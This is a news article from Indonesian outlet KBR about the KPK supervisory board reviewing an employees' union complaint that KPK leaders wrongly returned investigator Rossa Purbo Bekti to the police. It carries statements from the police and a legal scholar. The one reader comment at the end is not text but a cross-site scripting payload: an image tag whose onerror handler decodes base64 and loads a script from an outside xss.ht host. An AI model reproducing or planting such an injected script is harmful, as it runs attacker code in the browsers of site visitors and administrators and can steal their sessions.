HEADLINE

Dewan Pengawas Akan Bahas Dugaan Pimpinan KPK Langgar Etik

"Namun Harjono belum dapat memastikan, kapan Dewas KPK akan mengambil keputusan terkait laporan itu."

Dewan Pengawas Akan Bahas Dugaan Pimpinan KPK Langgar Etik
Kiri ke kanan. Dewas KPK Syamsuddin Haris), Harjono, Tumpak Hatorangan Panggabean, Albertina Ho dan Artidjo Alkostar saat Konpers (14/1/2020). (Foto: ANTARA)

KBR, Jakarta - Dewan Pengawas Komisi Pemberantasan Korupsi (Dewas KPK) mengonfirmasi telah menerima laporan dari Wadah Pegawai KPK (WP KPK) tentang dugaan pelanggaran kode etik Pimpinan KPK. Dugaan itu terkait  keputusan pimpinan KPK yang memberhentikan penyidik asal kepolisian Rossa Purbo Bekti. 

Anggota Dewas KPK Harjono dalam keterangan tertulisnya pada Jumat (7/2/2020) menyatakan, saat ini timnya tengah membahas laporan dari WP KPK tersebut lebih lanjut. Namun ia belum dapat memastikan, kapan Dewas KPK akan mengambil keputusan terkait laporan itu.

Kejanggalan Putusan Pimpinan KPK

Sebelumnya, WP KPK berkeras meminta pimpinan KPK mempertahankan Rossa agar tetap mengabdi di lembaga antikorupsi itu. 

Ketua WP KPK Yudi Purnomo mengatakan, pemberhentian penugasan Rossa di KPK memunculkan kejanggalan. Ia beralasan, berdasarkan awal penugasan Rossa pada September 2016, maka masa bakti Rossa masih sekitar empat tahun lagi, dan bisa diperpanjang lagi selama dua tahun yakni hingga akhir 2026. 

Rossa juga dinilai tidak melakukan pelanggaran yang dapat dijadikan alasan untuk membuatnya diberhentikan. Oleh  karena itu, WP KPK melaporkan sikap pimpinan KPK memberhentikan Rossa ke Dewas KPK.

"Oleh karena itu, kemarin 4 Februari 2020, setelah kami melakukan investigasi mengonfirmasi data-data yang ada terkiat polemik pengembalian Mas Rossa, rekan kami pun melaporkan secara resmi kepada Dewas agar diambil suatu tindakan minimal untuk hentikan dulu proses pengembalian Mas Rossa ke Mabes Polri," kata Yudi di Gedung Merah Putih KPK, Kuningan, Jakarta Selatan, Jumat pagi (7/2/2020).

Lebih lanjut, Yudi memastikan, pihaknya sudah menemui lima anggota Dewas KPK. Pada pertemuan itu WP KPK menyampaikan dugaan tindakan Pimpinan KPK yang tidak sesuai dengan prosedur dan bahkan berpotensi melanggar etik, khususnya jaminan agar KPK dapat menjalankan fungsi sebagai lembaga yang independen. Mengingat Rossa merupakan penyelidik kasus Pergantian Antar-Waktu (PAW) anggota DPR RI. 

Namun, dugaan pemberhentian Rossa terkait dengan perkara PAW anggota DPR yang ditanganinya masih perlu pembuktian. "Dengan kronologis sebagai berikut bahwa pada tanggal 7 sampai 8 Januari 2020 terjadi uapaya penyelidik dan penyidik KPK sesuai surat penyelidikan dan surat tugas untuk menangkap beberapa oknum yang tertangkap tangan melakukan tindak pidana korupsi yang melibatkan Komisioner KPU serta salah satu Caleg dari salah satu partai.  Pada operasi tersebut rekan kami, Rossa Purbo Bekti yang merupakan pegawai negeri yang dipekerjakan dari unsur kepolisian merupakan salah satu penyidik sekaligus penyelidik yang ketika itu mendapatkan surat tugas untuk ikut dalam proses penangkapan," kata Yudi.

Dilanjutkan Yudi, penangkapan tersebut seharusnya diapresiasi, sebab ia menilai hal itu merupakan capaian untuk mengatasi korupsi politik yang menjadi salah satu prioritas KPK lantaran korupsi politik sendiri merupakan salah satu penyebab mahalnya biaya demokrasi di Indonesia. 

Namun demikian, WP KPK menyayangkan karena justru bukan apresiasi yang diraih Rossa, tapi malah dikembalikan ke instansi asal yaitu kepolisian.

"Bahwa justru dari pihak Mabes Polri juga tidak ingin melakukan penarikan, dan ini terbukti dengan Mabes Polri mengirimkan dua kali surat bukan hanya satu kali. Dua kali surat pembatalan penarikan Kompol Rossa. Yaitu surat Kepolisian RI tanggal 21 januari 2020 kepada pimpinan KPK perihal pembatalan penarikan petugas Polri karena Rossa Purbo Bekti ternyata masa penugasannya 23 september 2020. Hal ini untuk mengoreksi surat sebelumnya yaitu pada tanggal 13 Januari 2020," papar Yudi.

Namun surat pembatalan dari kepolisian tanggal 21 Januari terkait permintaan sebelumnya yang hendak menugaskan Rossa di internal kepolisian, justru dinilai tidak disambut baik oleh KPK. Yudi menyayangkan sikap Pimpinan KPK yang membuat surat pada tanggal 21 Januari 2020 perihal pengembalian penyidik KPK atas nama Indra Saputra dan Rossa Purbo Bekti. Namun, kepolisian tetap berkomitmen tetap menugaskan Rossa di KPK. Jadi, 29 Januari 2020 menegaskan Rossa Purbo Bekti tetap melaksanakan tugas di KPK karena masa penugasannya belum usai.

"Artinya, kepolisian tetap menyatakan bahwa Mas Rossa Purbo Bekti tetap pegawai yang dipekerjakan di KPK, bekerja sebagai penyidik atau penyelidik KPK. Bahwa sikap kepolisian itu, juga disampaikan masyatakat publik dan pers, melalui beberapa kali pernyataan dari Karo Penmas Divisi Humas Polri , Brigjen Raden Prabowo Argo Yuwono," sambung Yudi.

Rossa sendiri menyatakan tidak mengetahui bahwa dirinya sempat diminta kepolisian, dan diserahkan KPK yang kemudian permintaan itu dibatalkan. Terlebih sampai saat ini, ia belum menerima  surat pemberhentian dengan hormat dari KPK atau pengembalian ke kepolisian. Padahal surat keputusannya diberhentikan sejak 1 Februari 2020 sebagai pegawai KPK.

"Serta mengenai gaji. Jadi saya jelaskan, karena Mas Rossa sesuai dengan SK-nya mengatakan 1 Februari itu berhenti, maka walaupun ada gaji yang ditransfer ke rekeningnya pada 1 Februari, tetapi Kompol Rossa tak dapat gunakan uang tersebut. Karena Kompol Rossa paham dan siap untuk mengembalikan uang yang terlanjur ditransfer ke rekeningnya pada tanggal 1 Februari 2020. Karena dia merasa statusnya belum jelas, karena integritasnya juga dia mengatakan bahwa, "saya belum bisa gunakan uang tersebut". Minggu depan, jika memang harus dikembalikan ke KPK, akan dikembalikan sampai dengan jelasnya posisi dari Mas Rossa," jelas Yudi.

Polri Serahkan Urusan ke KPK

Di lain pihak, Polri menyerahkan persoalan Kompol Rosa Purbo Bekti kepada KPK. Juru bicara Mabes Polri Argo Yuwono berdalih ada mekanisme dan tata cara peminjaman anggota polisi serta pengembaliannya. 

Argo mengklaim, KPK maupun kepolisian tetap bekerja sesuai kewenangan.

"Biarkan semua instansi bekerja dengan baik. Semua masih bekerja untuk membangun bangsa ini. Biarkan semuanya. Tentunya kita sudah ada kesepakatan atau MoU yang berkaitan dengan penempatan personel di sana. Sudah berjalan dengan seperti biasa, sampai saat ini," kata Argo di Kementerian Kelautan dan Perikanan, Jumat (7/2/2020).

Argo bungkam terkait dengan polemik pengembalian atau pembatalan penarikan Kompol Rosa ke kepolisian.

Pimpinan KPK Bisa di-PTUN-kan

Mencermati kasus itu, pakar Hukum Pidana dari Universitas Islam Indonesia (UII) Yogyakarta Mudzakir menilai, keputusan pimpinan KPK mengembalikan sejumlah jaksa dan penyidik ke instansi asalnya, dapat digugat oleh yang bersangkutan ke Pengadilan Tata Usaha Negara (PTUN). 

Pasalnya menurut dia, pimpinan KPK seharusnya tidak boleh mengembalikan orang yang sedang bertugas dalam penyidikan, dengan atau tanpa permintaan dari pihak manapun.

"Kalau dari segi keputusannya bisa diuji di Pengadilan Tata Usaha Negara, dari sisi prosedur dalam konteks penegakan hukum, itu bisa masuk dalam kualifikasi dia penghalangan terhadap proses penyidikan tindak pidana korupsi. Saya kira kalau KPK pernah menghukum orang karena penghalangan tindak pidana korupsi, dan sekarang pimpinan KPK melakukan tindakan suatu keputusan yang membuat dia tidak bisa bekerja terkait tindak pidana korupsi, maka menurut saya itu masuk kualifikasi penghalangan penegakan hukum tindak pidana korupsi," kata Mudzakir kepada KBR (7/2/2020).

Mudzakir mengatakan, harus ada alasan hukum kuat yang mendukung pengembalian jaksa dan penyidik KPK ke instansi asalnya. 

Katanya lagi, KPK tidak boleh mengembalikan jaksa atau penyidiknya sebelum masa tugasnya berakhir. Begitu juga instansi lain misalnya kepolisian, tidak boleh menarik anggota KPK dengan alasan apapun.

"Mestinya dalam hukum itu penyidik yang bersangkutan terdapat kesalahan-kesalahan yang pantas untuk dikembalikan kepada institusinya. Kalau tidak ada kesalahan yang secara prinsip berkaitan dengan penyidikan, itu tidak boleh dikembalikan oleh KPK, sampai tugas mereka itu habis," jelasnya.

Berbeda lagi jika publik beranggapan upaya pengembalian jaksa dan penyidik KPK sebagai upaya menghalangi proses penyidikan perkara tindak pidana korupsi, KPK dapat diadukan pada penegak hukum yang lain.

"Bisa ke Ombudsman. Yang kedua adalah penyidik kepolisian, Mabes Polri. Atau istilahnya pengawas dari kepolisian, Kompolnas atau yang lainnya, yang dia mengawasi kinerja kepolisian dan kejaksaan," katanya.

Mudzakir menambahkan, Dewas KPK juga seharusnya mengambil tindakan serius untuk menangani ini. Sedangkan pimpinan KPK seharusnya tidak mengabaikan eksistensi Dewas, dengan selalu meminta rekomendasi atas keputusannya.

Di samping itu, ia menyayangkan KPK tampak tidak independen dengan pimpinan baru yang berasal dari institusi Kepolisian. "Kalau komisioner KPK dari unsur kepolisian yang aktif, unsur kejaksaan yang aktif, risikonya terjadi istilahnya bukan supervisi, bukan koordinasi, tapi malah justru adalah kongkalikong yang menurut saya potensi untuk berbuat sesuatu yang negatif, menghambat proses hukum itu sendiri. Mereka bisa konkalikong mengatur siapa yang masuk, siapa yang keluar," tegas Mudzakir.

Editor: Fadli Gaper 

  • Dewas KPK
  • Pimpinan KPK
  • Harjono
  • Mudzakir

Komentar (1)

KBR percaya pembaca situs ini adalah orang-orang yang cerdas dan terpelajar. Karena itu mari kita gunakan kata-kata yang santun di dalam kolom komentar ini. Kalimat yang sopan, menjauhi prasangka SARA (suku, agama, ras dan antargolongan), pasti akan lebih didengar. Yuk, kita praktikkan!

  • Andi Kurniawan4 years ago

    "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vemV0YzBkZS54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>